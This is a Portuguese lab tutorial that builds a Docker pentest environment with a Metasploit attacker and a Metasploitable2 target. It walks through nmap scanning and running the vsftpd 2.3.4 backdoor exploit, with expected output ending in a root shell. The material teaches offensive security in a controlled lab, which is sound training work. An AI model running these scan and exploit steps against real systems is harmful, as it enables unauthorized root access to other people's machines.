Pentest na Prática em Ambiente Controlado (Docker): Lab 01
Nesta atividade montaremos um cenário em ambiente controlado (Docker) com duas máquinas, sendo uma delas denominada 'atacante' pré-configurada com o Framework Metasploit e a outra denominada 'alvo' construída a partir da distribuição de testes Metaslplotable2.
Como o 'docker' e o plugin 'docker-compose' devidamente instalados e funcionais, execute os passos a seguir para realizar a atividade:
1) Crie um diretório para o projeto e, em seguida, baixe o arquivo docker-compose.yml contendo o nome das imagens docker que serão utilizadas e as configurações adequadas para a prática:
2) Execute o docker compose para baixar as imagens e iniciar os dockers:
docker-compose up -d
Após o download das imagens, inicialização dos contêiners e configuração, o ambiente estará pronto para prática!!!
3) Acesse o contêiner atacante:
docker exec -it atacante /bin/bash
4) Verifique se o contêiner 'atacante' está acessando o contêiner 'alvo':
ping 192.168.200.200
5) Entre no ambiente Metasploit-Framework através da interface no modo console:
./msfconsole
A cada execução do MSF no modo console um banner diferente será exibido em ASCII ART (isso é só estético). O console indicará que você está no ambiente pronto para executar os comandos a partir de um prompt '>'.
6) Faça um Portscan no contêiner 'alvo' utilizando o NMAP embutido no MSF:
nmap 192.168.200.200
Resultado esperado
[*] exec: nmap 192.168.200.200
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-02 18:45 UTC
Nmap scan report for alvo.pentest_lab1_my-network (192.168.200.200)
Host is up (0.000011s latency).
Not shown: 981 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 02:42:C0:A8:C8:C8 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
7) Execute o nmap específico para a porta 21/TCP com o parâmetro -sV para tentar identificar detalhes sobre o servidor FTP alvo:
nmap -sT -p 21 192.168.200.200 -sV
Resultado esperado
[*] exec: nmap -sT -p 21 192.168.200.200 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-02 18:48 UTC
Nmap scan report for alvo.pentest_lab1_my-network (192.168.200.200)
Host is up (0.000038s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
MAC Address: 02:42:C0:A8:C8:C8 (Unknown)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds
8) Faça uma busca no MSF por um exploit para o serviço escolhido (vsftp)
search vsftpd
Resultado Esperado
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
9) Selecione o exploit indicado na busca como 'excelent:
use exploit/unix/ftp/vsftpd_234_backdoor
Resultado esperado
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
10) Exiba as opções de configuraçãodo exploit:
show options
Resultado esperado
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:hos
t:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.
com/docs/using-metasploit/basics/using-metasploi
t.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
11) Só é necessário configurar o 'Remote Host' (Alvo) RHOSTS:
set RHOSTS 192.168.200.200
12) Finalmente, execute o exploit!!!
run
Aguarde a execução do exploit e se o ataque teve sucesso o resultado será como a seguir:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.200.200:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.200.200:21 - USER: 331 Please specify the password.
[+] 192.168.200.200:21 - Backdoor service has been spawned, handling...
[+] 192.168.200.200:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.200.100:34997 -> 192.168.200.200:6200) at 2025-03-02 18:58:09 +0000
Os comandos digitados nessa "shell reversa" estaráo agora sendo executados (com permissão de superusuário root) na máquina alvo!!!
13) Execute comandos na máquina-alvo para comprovar que o ataque foi bem sucedido
Você realizou (com sucesso) um ataque contra um servidor com uma versão vulnerável do servidor FTP vsftpd (versão 2.3.4) e usando um exploit do MSF explorou a vulnerabilidade para acessar a máquina como superusuário root.